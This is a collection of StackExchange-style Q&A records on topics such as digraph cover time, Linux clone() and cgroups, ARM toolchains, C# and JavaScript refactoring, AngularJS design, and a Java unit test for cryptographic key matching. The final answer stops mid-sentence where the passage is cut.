{  "id": "_cstheory.2908"  , "question": "Given a random walk on a graph the cover time is the first time (expected number of steps) that every vertex has been hit (covered) by the walk. For connected undirected graphs, the cover time is known to be upper bounded by $O(n^3)$. There are strongly connected digraphs with cover time exponential in $n$. An example of this, is the digraph consisting of a directed cycle $(1, 2, ..., n, 1)$, and edges $(j, 1)$, from vertices $j = 2, ..., n  1$. Starting from vertex $1$, the expected time for a random walk to reach vertex $n$ is $\\Omega(2^n)$. I have two questions :1) What are the known classes of directed graphs with polynomial cover time ? These classes might be characterized by graph-theoretic properties (or) by properties of the corresponding adjacency matrix (say $A$). For example, if $A$ is symmetric then cover time of the graph is polynomial.2) Are there more simple examples (like the cycle example mentioned above) where the cover time is exponential ?3) Are there examples with quasi-polynomial cover time ?I would appreciate any pointers to good surveys/books on this topic."  , "title": "Cover Time of Directed Graphs"  , "tags": "graph theory;co.combinatorics;markov chains;random walks"  } 
{  "id": "_unix.131134"  , "question": "I'm new for Linux. Now, I have to write a c program and use clone() to make process do things asynchronous. I've read the manual of clone(); however, I still don't know how to make it work asynchronous. I use flags CLONE_THREAD, CLONE_VM and CLONE_SIGHAND and there's an infinite loop in parameter fn. I got segmentation fault(core dumped) first, then using gdb to debug. Then, I got Program received signal SIGSEGV, Segmentation fault. [Switching to LWP xxx]. I would like to make the processes switch successfully ?Below is my code:#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <sched.h>#define FIBER_STACK 1024*1024*8int counter;void * stack;int do_something(){    int i;    while(1) {        if (counter == 1000)        {            free(stack);            exit(1);        } else {            counter++;            i++;        }        printf(Process %d running total runs %d, and this process runs %d \\n, getpid(), counter, i);    }}int main() {    void * stack;    counter = 1;    stack = malloc(FIBER_STACK);    if(!stack) {        printf(The stack failed\\n);        exit(0);    }    int i;    for (i = 0; i < 26; i++)    {        clone(&do_something, (char *)stack + FIBER_STACK, CLONE_THREAD|CLONE_SIGHAND|CLONE_VM, 0); // CLONE_VFORK    }}I've asked this question in stackoverflow, but there's still no one answering me. Hope someone can help me to solve this problem. If that is inappropriate to ask the same question here, please let me know. Thanks in advance."  , "title": "Process switch with clone()"  , "tags": "process;async"  , "accepted_answer": "I got segmentation fault(core dumped) firstOf course.  The point of handing the clone a stack is that it needs memory of its own.  But you hand the same stack to 26 different processes!  Also this is an off by one error:(char *)stack + FIBER_STACKSince if stack starts at 0x1 and FIBER_STACK is 5, it was allocated 5 addresses, 0x1, 0x2, 0x3, 0x4, 0x5.  But 0x1 + 5 is 0x6.  So you should subtract 1 from that.Anyway, try something like:#define NUM_PROC 8int main() {    void *stack[NUM_PROC];    // --std=c99    for (int i = 0; i < NUM_PROC; i++) {        stack[i] = malloc(FIBER_STACK);        if(!stack[i]) {            printf(Out of memory?!\\n);            exit(0);        }    }                for (i = 0; i < NUM_PROC; i++) {        clone(&do_something, (char *)stack[i] + FIBER_STACK - 1,And it will run without faulting.  But to keep the main process around you'll also want, e.g.:     while (counter < 1000) sleep(1);After the for() loop."  } 
{  "id": "_unix.292097"  , "question": "I registred because I didn't manage running cgroups with several tutorials/comments/whatever you find on google. I want to limit the amount of ram a specifix user may use. Internet says cgroups. My testserver is running Ubuntu 14.04. You can divide the mentioned tutorials in two categories. Directly set limits using echo and use specific config. Neither is working for me.Setting Limits using echocgcreate -g cpu,cpuacct,...:/my_groupfinishes without any notices. When I try to run echo 100M > memory.limit_in_bytesit just says not permitted even when using sudo. I don't even reach any point of limiting another user.Setting limits using configI read about two config files. So here are my config files:cgconfig.confmount {    memory  = /cgroup/memory;}group limit_grp {        memory {                memory.limit_in_bytes=100M;                memory.memsw.limit_in_bytes=125M;        }}cgrules.conftestuser    memory    limit_grpWhen I runcgconfigparser -l /etc/cgconfig.confit mounts to systemd. Now I log on with testuser, run an memory intense task - and it runs without caring about my limit. I tried rebooting, nothing changed. Even some strange attempts using kernel config didn't work. I'm new to cgroups and didn't expect it to be that complicated. I'd appreciate any suggestions to my topic. Thank you in advance!"  , "title": "Limiting users ram with cgroups not working (for me)"  , "tags": "ubuntu;systemd;limit;ram;cgroups"  } 
{  "id": "_unix.377345"  , "question": "I am following this guide:https://wiki.archlinux.org/index.php/Orange_PiI get errors on this command:$ make -j4 ARCH=arm CROSS_COMPILE=arm-none-eabi-Here is the errors:make: arm-none-eabi-gcc: Command not found/bin/sh: 1: arm-none-eabi-gcc: not founddirname: missing operandTry 'dirname --help' for more information.scripts/kconfig/conf  --silentoldconfig Kconfig  CHK     include/config.h  UPD     include/config.h  CFG     u-boot.cfg/bin/sh: 1: arm-none-eabi-gcc: not found  GEN     include/autoconf.mk.dep/bin/sh: 1: arm-none-eabi-gcc: not foundscripts/Makefile.autoconf:79: recipe for target 'u-boot.cfg' failedmake[1]: *** [u-boot.cfg] Error 1make[1]: *** Waiting for unfinished jobs....scripts/Makefile.autoconf:50: recipe for target 'include/autoconf.mk.dep' failed  CFG     spl/u-boot.cfgmake[1]: *** [include/autoconf.mk.dep] Error 1/bin/sh: 1: arm-none-eabi-gcc: not foundscripts/Makefile.autoconf:82: recipe for target 'spl/u-boot.cfg' failedmake[1]: *** [spl/u-boot.cfg] Error 1make: *** No rule to make target 'include/config/auto.conf', needed by 'include/config/uboot.release'.  Stop.My guess is because I don't have the  arm-none-eabi-gcc installed on my system but when I enter the command sudo apt-get install arm-none-eabi-gcc I get an error saying there is no such package. "  , "title": "Installing arm-none-eabi-gcc"  , "tags": "software installation;toolchain"  } 
{  "id": "_codereview.59569"  , "question": "I have a WCF service that itself uses another third party WCF service. It's basically a proxy. So I'm getting a request to my own one and I have just to forward it to the third party one.I would like then to map from my flattened request (that's the way it's been decided to be coded) to the slightly more complex request the other service needs.Although quite a few of the properties in each request are a naming match my issues are the followingThere are properties flattened in my request in relation to theirsThere's a huge load of my properties that should go into theirs generic Data[] ApplicationDetails property being both as follows:public class ApplicationDetails{    public Data[] Data { get; set; }}public class Data{    public string category { get; set; }    public string attribute { get; set; }    public string Value { get; set; }}And those will come from my request as a property named as the attribute should be, i.e. my request will have a property named AIM and I should put that as an the attribute of one of the elements of the Data array, it's value as the element's value and hardcode the category (there are 3 of them).I couldn't see many advantages (apart for the equally named properties) for using Automapper (or any other it could be) and ended up with a massive static Mapper class that looks this waypublic static class Mapper{    public static Request FromDecisionRequestToZRequest(DecisionRequest request)    {        var applicationDetails = new Data[]        {            new Data {category = ID, attribute = PubID, Value = request.PubID},            new Data {category = ID, attribute = AID, Value = request.AID},            new Data {category = APP, attribute = NID, Value = request.NID},            new Data {category = BOOK, attribute = DupeApps90, Value = request.DupeApps90},            new Data {category = BOOK, attribute = DupeApps30, Value = request.DupeApps30},            //And many others of each of the three categories        };        var address = new Address[]        {   new Address{                City = request.City,                Country = request.Country,                HouseNumber = request.HouseNumber,                HouseNumberExtension = request.HouseNumberExtension,                Street = request.Street,                ZIP = request.ZIP,                kind = MAIN            }        };        var ret = new Request()        {            UserName = request.UserName,            RequestDateTime = Convert.ToDateTime(request.RequestDateTime),            CompanyRegistrationID = request.CompanyRegistrationID,            //And many others direct mappings            Addresses = new Addresses { Address = address },            Phone1 = new Phone1 { type = 1, Value = request.Phone1 },            Phone2 = new Phone2 { type = 2, Value = request.Phone2 },            Phone3 = new Phone3 { type = 3, Value = request.Phone3 },            Email = request.Email,            Amount = new Amount { Value = request.Amount },            ApplicationDetails = new ApplicationDetails { Data = applicationDetails }        };        return ret;    }}How would you tackle this?  To me this static class looks horrible (taking into account that the full one has more than 150 lines but not sure how I could improve it)."  , "title": "Proper way of mapping in C#"  , "tags": "c#;wcf"  , "accepted_answer": "I would create two extension method , ToApplicationData and ToAddress and will define mapping over there. it will sorten you code and much better readablity. you can break this methods too if you want. public static class Mapping    {        public static Data[] ToApplicationData (this DecisionRequest request)        {            return new[]            {                new Data {category = ID, attribute = PubID, Value = request.PubID},                new Data {category = ID, attribute = AID, Value = request.AID},                new Data {category = APP, attribute = NID, Value = request.NID},                new Data {category = BOOK, attribute = DupeApps90, Value = request.DupeApps90},                new Data {category = BOOK, attribute = DupeApps30, Value = request.DupeApps30}            };        }        public static Address[] ToAddresses(this DecisionRequest request)        {            return new Address[]            {                new Address                {                    City = request.City,                    Country = request.Country,                    HouseNumber = request.HouseNumber,                    HouseNumberExtension = request.HouseNumberExtension,                    Street = request.Street,                    ZIP = request.ZIP,                    kind = MAIN                }            };        }    }This is how I will use this code    public static class Mapper    {        public static Request FromDecisionRequestToZRequest(DecisionRequest request)        {            var applicationDetails = request.ToData();            var address = request.ToAddresses();            var mappedRequest = new Request            {                UserName = request.UserName,                RequestDateTime = Convert.ToDateTime(request.RequestDateTime),                CompanyRegistrationID = request.CompanyRegistrationID,                Addresses = new Addresses {Address = address},                Phone1 = new Phone1 {type = 1, Value = request.Phone1},                Phone2 = new Phone2 {type = 2, Value = request.Phone2},                Phone3 = new Phone3 {type = 3, Value = request.Phone3},                Email = request.Email,                Amount = new Amount {Value = request.Amount},                ApplicationDetails = new ApplicationDetails {Data = applicationDetails}            };            return mappedRequest;        }    }"  } 
{  "id": "_codereview.121242"  , "question": "I finished Codeacademy and I'm looking to practice and get better at JavaScript. Is this coded correctly or should I have made a function for it somehow?  The purpose of this code is to move a square around the page with arrow keys or buttons.I have the entire script hosted here.I mostly want to Simplify this chain of if statements  but also the post  about using a map instead of the if statements is something I needed to know.function anim(e){    if((e.keyCode === 37)||(e === 37)){      y = shipLeft;      shipLeft -= 11;      y -= 11;      y.toString();      y = y + 'px';      ship.style.left = y;      changeColor();    return shipLeft}    else if ((e.keyCode === 39) || (e === 39)){      y = shipLeft;      shipLeft += 11;      y += 11;      y.toString();      y = y + 'px';      ship.style.left = y;      changeColor();    return shipLeft    }    else if ((e.keyCode === 40) || (e === 40)){      y = shipTop;      y += 11;      shipTop += 11;      y.toString();      y = y + 'px';      ship.style.top = y;      changeColor();    return shipTop;    }    else if ((e.keyCode === 38) || ( e === 38)){      y = shipTop;      y -= 11;      shipTop -= 11;      y.toString();      y = y + 'px';      ship.style.top = y;      changeColor();    return shipTop;    } }"  , "title": "Keyboard handler to move a shape in response to arrow keys"  , "tags": "javascript;event handling;dom"  , "accepted_answer": "If you move shipLeft and shipTop into an object called shipPositions rather than just top level variables, you could also use a map-driven approach like this:function anim(e) {    var key = e.KeyCode || e, val, info;    var keyMap = {        37: {direction: left, ship: shipLeft, delta: -11},        39: {direction: left, ship: shipLeft, delta: 11},        40: {direction: top, ship: shipTop, delta: 11},        38: {direction: top, ship: shipTop, delta: -11},    };    info = keyMap[key];    if (!info) {        return;    }    shipPositions[info.ship] += info.delta;    val = shipPositions[info.ship];    ship.style[info.direction] = val + 'px';    changeColor();    return val;}"  } 
{  "id": "_unix.61020"  , "question": "I had Windows installed on my laptop and suddenly one morning Windows couldn't start. Then I tried after formatting and for once it became possible.I also installed Ubuntu as logical drive (deleted all HDD partitions) and then tried to install Windows but in the middle of the installation process (after expanding Windows files) it showed an error and stopped.I'm using Ubuntu with live CD. In the Ubuntu disk utility, I see all HDDs as unallocated free space. The following points are being shown:----smart status: disk failure is imminent>>>results of selt-test--self assessment-failing--power cycles-1834--bad sectors-2047--overall assessment-disk failure is imminent(backup all data and replace the disk)>>>Attributesfor reallocated sector unit-assessment is failingvalues---        normalized-1        worst-1        threshold-50        value-2047 sectors>>>Now I'm using the badblocks command.sudo badblocks -v /dev/sdaBut it has been running for 106 hours, and still continues.I don't want to replace my HDD. Please help me so that I can use Windows on my laptop."  , "title": "Issue with bad sectors on a laptop hard drive"  , "tags": "linux;ubuntu;hard disk"  } 
{  "id": "_webapps.33405"  , "question": "When I want to see updates of a friend in Google Plus, I currently have to go to his home page to see them - while in facebook, what I need to do is to add him/her to my Close Friend list.Is there a similar feature in Google Plus?"  , "title": "Google Plus get notification of a friend activity similarly to Close Friend list in facebook"  , "tags": "facebook;google plus;notifications;list"  , "accepted_answer": "Pretty much similar, yes. You could easily add your friend to a circle.Click on that circle, and set the slider in the top right corner to Show all posts from [circle name] on your start page.Then, all posts from friends you have added to the circle will show up in your start page stream."  } 
{  "id": "_codereview.20723"  , "question": "I've been working on my first Angular JS app for the past few days.It's in a very early stage (no real functionality), but that will only make it easier to review what IS there.The client side is written in CoffeeScript.  The app used Requirejs to manage files AMD style (it loads compiled CoffeeScript).The server side is very minimal at the moment.  It will have a local SQLite database and uses SQLAlchemy as an ORM.  Furthermore I make use of the (very nice) Flask framework to provide an restful API to the Angular app.Right now the server side is not much concern to me; it works.The client side works as well, but since I'm new to Angular I am really curious to know whether I do things correctly and using the Angular JS way.The code lives in this repository.The parts I'm not so sure about are the way I am dealing with scopes right now.For example:I have a general dialog directive and use it to display a dialog for importing images. I would think I could have the import directive live inside the dialog (transcluded), but to be able to handle the dialog apply event (handle by uploading the images in this particular instance...), the import directive needs to wrap the dialog. It works, but was rather counterintuitive. Is it the right way to do things?Another example:To display the dialog I have its visibile attribute linked to a root scope property. This also seems rather hacky.<body ng-controller=MainCtrl >    {# let angularjs compile the templating from here #}    {% raw %}    <header>        <h1>Sight <span>beta</span></h1>        <div class=buttons>            <button ng-click=show_import_dialog = ! show_import_dialog>Import</button>        </div>    </header>    <div id=content>        <!-- import dialog -->        <div sg-import>            <div                 sg-dialog title=Import Photographs                 visible=show_import_dialog                 sg-apply=upload()            >                <p>                    Drag images into the dropzone below or click on it to browse.                </p>                <br />                <div class=drop-zone>                    <div ng-repeat=file in files sg-photo title={{ file.name }}>                    </div>                    <!-- hidden input -->                    <input type=file accept=image/* multiple />                    <!-- push size -->                    <div class=clear></div>                </div>            </div>        </div>    </div>    <footer>    </footer>    {% endraw %}</body>The directives and controllers live here."  , "title": "Angular JS photo app for personal cloud"  , "tags": "html;angular.js"  } 
{  "id": "_codereview.162245"  , "question": "I have a quite large unit test case for one class that currently does not exist, I am going to write it after finishing the test case.I am wondering if my unit test doesn't lack something important, or alternatively, if it is not too complex. I have to describe what the tested class is supposed to do, although some details are left out, and I can answer questions about them if needed.This class is a key matcher, part of a library implementing things like json web signing/json web key.The key matcher will take input from some other classes like JWS processors, that will process json objects. The json representation of, for example, a signed object, can contain a key used to verify the signatures on the object. This key can be given as a json web key or certificate, or can be given by key id. A key set can also be provided, that would mean the key identified by the key id is to be looked up in that set. The protocol does not specify the policy of determining which key to use for verification, so in theory all those fields can be present at once.The key matcher will match keys, trying in some predetermined order, like explicit key has priority over a certificate, and it has priority over matching in key set, last is an external source of keys or certificates that is application specific. However, usually when the matcher looks for keys in different sources, and a higher priority source is found, a lower priority source is usually not tried even if keys from the higher priority source do not match. It stems from the fact that if an application sends a signed or encrypted object containing multiple incompatible keys, it is an application error and such cases should not be handled, because they make no sense.This test case tests matching in case of each possible source of key material, and most but not all cases of match failure. However, it does not test for cases where matcher would throw NullPointerException or IllegalArgumentException or possibly IllegalStateException, for example if a key type is not specified. I am not sure if I should test for good reaction to bugs in the user of the matcher class. The last test will test if the order of matching is correct.I would like to know if my unit test too complex, or if it misses something important./*** Copyright (c) 2016-2017, acme-client developers* All rights reserved.** Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:** 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.** 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS AS IS AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.*/package io.github.webczat.acmeClient.jws.keyMatching;import static org.junit.Assert.assertEquals;import static org.mockito.Mockito.mock;import static org.mockito.Mockito.when;import java.security.MessageDigest;import java.security.NoSuchAlgorithmException;import java.security.cert.X509Certificate;import java.util.*;import org.junit.Test;import io.github.webczat.acmeClient.jws.KeyType;import io.github.webczat.acmeClient.jws.NoMatchingKeyException;import io.github.webczat.acmeClient.jws.WebKey;import io.github.webczat.acmeClient.jws.WebPublicKey;import io.github.webczat.acmeClient.testUtil.CertificateTestUtils;/** * This class tests key matcher. *  * @author webczat */@SuppressWarnings({ javadoc })public class KeyMatcherTest {    /**     * Test for matching an explicitly given key.     */    @Test    public void testExplicitKeyMatchWithAlgorithm() {        WebPublicKey key = mock(WebPublicKey.class);        when(key.getKeyType()).thenReturn(KeyType.RSA);        when(key.getAlgorithm()).thenReturn(test);        assertEquals(new KeyMatcher().setKeyType(KeyType.RSA).setAlgorithm(test).setWebKey(key).match(), key);    }    /*     * Test for explicitly given key without match without algorithm on the key.     */    @Test    public void testExplicitKeyMatchWithoutAlgorithm() {        WebPublicKey key = mock(WebPublicKey.class);        when(key.getKeyType()).thenReturn(KeyType.RSA);        assertEquals(new KeyMatcher().setKeyType(KeyType.RSA).setAlgorithm(test).setWebKey(key).match(), key);    }    /**     * Test explicit key match with bad algorithm.     */    @Test(expected = NoMatchingKeyException.class)    public void testExplicitKeyMatchWithBadAlgorithm() throws NoMatchingKeyException {        WebPublicKey key = mock(WebPublicKey.class);        when(key.getKeyType()).thenReturn(KeyType.RSA);        when(key.getAlgorithm()).thenReturn(test2);        new KeyMatcher().setKeyType(KeyType.RSA).setAlgorithm(test2).setWebKey(key).match();    }    /**     * Test for explicit key with bad key type.     */    @Test(expected = NoMatchingKeyException.class)    public void testExplicitKeyMatchWithBadType() throws NoMatchingKeyException {        WebPublicKey key = mock(WebPublicKey.class);        when(key.getKeyType()).thenReturn(KeyType.EC);        new KeyMatcher().setKeyType(KeyType.RSA).setAlgorithm(test).match();    }    /**     * Tests for explicit key match with a key validator passing.     */    @Test    public void testExplicitKeyMatchWithPassingValidator() {        WebPublicKey key = mock(WebPublicKey.class);        when(key.getKeyType()).thenReturn(KeyType.RSA);        assertEquals(                new KeyMatcher().setKeyType(KeyType.RSA).setAlgorithm(test).setKeyValidator((k) -> true).setWebKey(                        key).match(),                key);    }    /**     * Test for explicit key match with failing validator.     */    @Test(expected = NoMatchingKeyException.class)    public void testExplicitKeyMatchWithFailingValidator() throws NoMatchingKeyException {        WebPublicKey key = mock(WebPublicKey.class);        when(key.getKeyType()).thenReturn(KeyType.RSA);        new KeyMatcher().setWebKey(key).setKeyValidator((k) -> false).setAlgorithm(test).setKeyType(                KeyType.RSA).match();    }    /**     * Test for matching a key from the given set of keys, with given key     * identifier.     *      */    @Test    public void testSetKeyMatchWithKeyId() {        WebPublicKey key1 = mock(WebPublicKey.class), key2 = mock(WebPublicKey.class), key3 = mock(WebPublicKey.class);        when(key1.getKeyType()).thenReturn(KeyType.RSA);        when(key1.getKeyId()).thenReturn(test);        when(key2.getKeyType()).thenReturn(KeyType.EC);        when(key2.getKeyId()).thenReturn(test);        when(key3.getKeyType()).thenReturn(KeyType.RSA);        LinkedHashSet<WebKey> keySet = new LinkedHashSet<WebKey>(                Arrays.asList(new WebKey[] { key3, key2, key1, key1 }));        assertEquals(new KeyMatcher().setKeyId(test).setKeyType(KeyType.RSA).setAlgorithm(test).setWebKeySet(                keySet).match(), key1);    }    /**     * Test for no matching keys for key id when matching by key set.     */    @Test(expected = NoMatchingKeyException.class)    public void testSetKeyMatchWithKeyIdAndNoCandidates() throws NoMatchingKeyException {        WebPublicKey key = mock(WebPublicKey.class);        when(key.getKeyType()).thenReturn(KeyType.RSA);        LinkedHashSet<WebKey> keySet = new LinkedHashSet<WebKey>(Arrays.asList(new WebKey[] { key }));        new KeyMatcher().setAlgorithm(test).setKeyId(test).setKeyType(KeyType.RSA).setWebKeySet(keySet).match();    }    /**     * Tests key matching using a key set, with no key id given.     */    @Test    public void testSetKeyMatchWithoutKeyId() {        WebPublicKey key1 = mock(WebPublicKey.class), key2 = mock(WebPublicKey.class);        when(key1.getKeyType()).thenReturn(KeyType.RSA);        when(key2.getKeyType()).thenReturn(KeyType.EC);        LinkedHashSet<WebKey> keySet = new LinkedHashSet<>(Arrays.asList(new WebKey[] { key2, key1 }));        assertEquals(new KeyMatcher().setAlgorithm(test).setKeyType(KeyType.RSA).setWebKeySet(keySet).match(), key1);    }    /**     * Test for matching keys from set with no key id and no candidates.     */    @Test(expected = NoMatchingKeyException.class)    public void testSetKeyMatchWithoutKeyIdAndCandidates() throws NoMatchingKeyException {        WebPublicKey key = mock(WebPublicKey.class);        when(key.getKeyType()).thenReturn(KeyType.EC);        HashSet<WebKey> keySet = new HashSet<>(Arrays.asList(new WebKey[] { key }));        new KeyMatcher().setAlgorithm(test).setKeyType(KeyType.RSA).setWebKeySet(keySet).match();    }    /**     * Test for matching key from external source.     */    @Test    public void testExternalKeyMatch() {        WebPublicKey key1 = mock(WebPublicKey.class), key2 = mock(WebPublicKey.class);        when(key1.getKeyType()).thenReturn(KeyType.RSA);        when(key2.getKeyType()).thenReturn(KeyType.EC);        KeyProvider kp = mock(KeyProvider.class);        when(kp.lookupKey(test)).thenReturn(Arrays.asList(new WebKey[] { key2, key1 }));        assertEquals(new KeyMatcher().setKeyType(KeyType.RSA).setAlgorithm(test).setKeyId(test).setKeyProvider(                kp).match(), key1);    }    /**     * Test matching keys from external source when no keys match.     */    @Test(expected = NoMatchingKeyException.class)    public void testExternalKeyMatchWithNoCandidates() throws NoMatchingKeyException {        WebPublicKey key = mock(WebPublicKey.class);        when(key.getKeyType()).thenReturn(KeyType.EC);        KeyProvider kp = mock(KeyProvider.class);        when(kp.lookupKey(test)).thenReturn(Arrays.asList(new WebKey[] { key }));        new KeyMatcher().setKeyType(KeyType.RSA).setAlgorithm(test).setKeyId(test).setKeyProvider(kp).match();    }    /**     * Test for external key matching when no key id specified, it should not     * work at all.     */    @Test(expected = NoMatchingKeyException.class)    public void testExternalKeyMatchWithNoKeyId() throws NoMatchingKeyException {        WebPublicKey key = mock(WebPublicKey.class);        when(key.getKeyType()).thenReturn(KeyType.RSA);        KeyProvider kp = mock(KeyProvider.class);        when(kp.lookupKey(test)).thenReturn(Arrays.asList(new WebKey[] { key }));        new KeyMatcher().setKeyType(KeyType.RSA).setAlgorithm(test).setKeyProvider(kp).match();    }    /**     * Test for certificate matching when cert chain is explicitly given.     */    @Test    public void testExplicitCertificateMatch() {        List<X509Certificate> certs = CertificateTestUtils.newChain(3, null).getCertificateChain();        assertEquals(new KeyMatcher().setAlgorithm(test).setKeyType(KeyType.RSA).setCertificateChain(certs).match(),                certs);    }    /**     * Test explicit certificate match that fails.     */    @Test(expected = NoMatchingKeyException.class)    public void testExplicitCertificateMatchFailure() throws NoMatchingKeyException {        List<X509Certificate> certs = CertificateTestUtils.newChain(3, null).getCertificateChain();        new KeyMatcher().setKeyType(KeyType.EC).setAlgorithm(test).setCertificateChain(certs).match();    }    /**     * Test SHA256 fingerprint matching.     */    @Test    public void testFingerprintCertificateMatchWithSha256() throws NoSuchAlgorithmException {        List<X509Certificate> certs = CertificateTestUtils.newChain(3, null).getCertificateChain();        byte[] fingerprint = MessageDigest.getInstance(SHA2-256).digest(certs.get(0).getEncoded());        CertificateProvider cp = mock(CertificateProvider.class);        when(cp.lookupCertificateBySha256Fingerprint(fingerprint)).thenReturn(certs);        assertEquals(new KeyMatcher().setKeyType(KeyType.RSA).setAlgorithm(test).setSha256Fingerprint(                fingerprint).setCertificateProvider(cp).match(), certs);    }    /**     * Test certificate matching using SHA1 fingerprint.     */    @Test    public void testFingerprintCertificateMatchWithSha1() throws NoSuchAlgorithmException {        List<X509Certificate> certs = CertificateTestUtils.newChain(3, null).getCertificateChain();        byte[] fingerprint = MessageDigest.getInstance(SHA1).digest(certs.get(0).getEncoded());        CertificateProvider cp = mock(CertificateProvider.class);        when(cp.lookupCertificateBySha1Fingerprint(fingerprint)).thenReturn(certs);        assertEquals(new KeyMatcher().setKeyType(KeyType.RSA).setAlgorithm(test).setCertificateProvider(                cp).setSha1Fingerprint(fingerprint).match(), certs);    }    /**     * Test for matching by sha256 fingerprint when key type is invalid.     */    @Test(expected = NoMatchingKeyException.class)    public void testFingerprintCertificateMatchWithSha256AndBadKeyType()            throws NoMatchingKeyException, NoSuchAlgorithmException {        List<X509Certificate> certs = CertificateTestUtils.newChain(3, null).getCertificateChain();        byte[] fingerprint = MessageDigest.getInstance(SHA2-256).digest(certs.get(0).getEncoded());        CertificateProvider cp = mock(CertificateProvider.class);        when(cp.lookupCertificateBySha256Fingerprint(fingerprint)).thenReturn(certs);        new KeyMatcher().setKeyType(KeyType.EC).setCertificateProvider(cp).setAlgorithm(test).setSha256Fingerprint(                fingerprint).match();    }    /**     * Test for sha1 fingerprint matching when wrong key type is given.     */    @Test(expected = NoMatchingKeyException.class)    public void testFingerprintCertificateMatchWithSha1AndBadKeyType()            throws NoMatchingKeyException, NoSuchAlgorithmException {        List<X509Certificate> certs = CertificateTestUtils.newChain(3, null).getCertificateChain();        byte[] fingerprint = MessageDigest.getInstance(SHA1).digest(certs.get(0).getEncoded());        CertificateProvider cp = mock(CertificateProvider.class);        when(cp.lookupCertificateBySha1Fingerprint(fingerprint)).thenReturn(certs);        new KeyMatcher().setCertificateProvider(cp).setKeyType(KeyType.EC).setAlgorithm(test).setSha1Fingerprint(                fingerprint).match();    }    /**     * Test for fingerprint matching with no fingerprints set.     */    @Test(expected = NoMatchingKeyException.class)    public void testFingerprintCertificateMatchWithNoFingerprint() {        new KeyMatcher().setKeyType(KeyType.RSA).setAlgorithm(test).setCertificateProvider(                mock(CertificateProvider.class)).match();    }    /**     * Test for matching when no parameters are set.     */    @Test(expected = NoMatchingKeyException.class)    public void testKeyMatchWithNoData() throws NoMatchingKeyException {        new KeyMatcher().setKeyType(KeyType.RSA).setAlgorithm(test).match();    }    /**     * Test for matching order.     */    @Test    public void testMatchingOrder() {        WebPublicKey key1 = mock(WebPublicKey.class);        when(key1.getKeyType()).thenReturn(KeyType.RSA);        KeyMatcher km = new KeyMatcher();        km.setKeyType(KeyType.RSA).setAlgorithm(TEST).setWebKey(key1);        List<X509Certificate> certs1 = CertificateTestUtils.newChain(1, null).getCertificateChain();        km.setCertificateChain(certs1);        WebPublicKey key2 = mock(WebPublicKey.class);        when(key2.getKeyType()).thenReturn(KeyType.RSA);        when(key2.getKeyId()).thenReturn(test);        Set<WebKey> keySet = new HashSet<>();        keySet.add(key2);        km.setWebKeySet(keySet);        km.setKeyId(test);        List<X509Certificate> certs2 = CertificateTestUtils.newChain(1, null).getCertificateChain();        byte[] fingerprint1 = MessageDigest.getInstance(SHA2-256).digest(certs2.get(0).getEncoded());        km.setSha256Fingerprint(fingerprint1);        List<X509Certificate> certs3 = CertificateTestUtils.newChain(1, null).getCertificateChain();        byte[] fingerprint2 = MessageDigest.getInstance(SHA1).digest(certs3.get(0).getEncoded());        km.setSha1Fingerprint(fingerprint2);        CertificateProvider cp = mock(CertificateProvider.class);        when(cp.lookupCertificateBySha256Fingerprint(fingerprint1)).thenReturn(certs2);        when(cp.lookupCertificateBySha1Fingerprint(fingerprint2)).thenReturn(certs3);        km.setCertificateProvider(cp);        WebPublicKey key3 = mock(WebPublicKey.class);        when(key3.getKeyType()).thenReturn(KeyType.RSA);        KeyProvider kp = mock(KeyProvider.class);        when(kp.lookupKey(test)).thenReturn(Arrays.asList(new WebKey[] {key3}));        km.setKeyProvider(kp);        assertEquals(km.match(), key1);        km.setWebKey(null);        assertEquals(km.match(), certs1);        km.setCertificateChain(null);        assertEquals(km.match(), key2);        km.setWebKeySet(null);        assertEquals(km.match(), certs2);        km.setSha256Fingerprint(null);        assertEquals(km.match(), certs3);        km.setSha1Fingerprint(null);        assertEquals(km.match(), key3);    }}"  , "title": "Unit test for the right kind of cryptography key"  , "tags": "java;unit testing;cryptography"  , "accepted_answer": "I really like the small test methods. But without seeing the actual implementation, it is very hard to tell, if a test case makes sense or does what it should do.Small improvements:Split your test methods into three blocks, when-given-then and use a empty line between those. It can help a lot, not always, but I recommend to do it. It's like using your indicator: Even though noone is around (= quite an easy test case), it's a good habit to use it always, so you will use it, when it's actually needed.You can make WebPublicKey an instance variable and use the @Mock annotation. In the setup (@Before), you can use MockitoAnnotations.initMocks(this);. So you can save the first line of every test.I have a hard time to understand, what match() does, or what it should do (= the intention is not clear). Why must match() equal key? When I read matches(), I expect to have a boolean returned. Shouldn't it be something like findMatchingKey() or something?The test-prefix of your test cases aren't needed, it's used back in the day, before annotations were a thing in java/junit. Instead of testExplicitKeyMatchWithAlgorithm, you can write explicitKeyMatchesWithAlgorithmThe JavaDoc for the methods are first of all, most of the times it is JavaDoc, but not always. 2nd: I'm 99% sure, noone will ever read those java docs (you guys do even generate those for test cases?). 3rd: Test for matching an explicitly given key. vs testExplicitKeyMatchWithAlgorithm. So, you have a comment, a method name, and the actual code. Rhetorical question: which one is true?  The java doc does not talk about algorithm, the method name does.The test algorithm: I usually declare those explicitly as variable in the test case, so the reader sees where it's used (WebPublicKey and KeyMatcher)There's a lof of repetition of the WebPublicKey instantiation (RSA KeyType and test algorithm), you might want to add a static helper method for that, something like rsaWithTestAlgorithmKeyMatcher(), or even add a constant. For the other creations, I'd provide a method like keyMatcher(keyType: KeyType, algorithm: 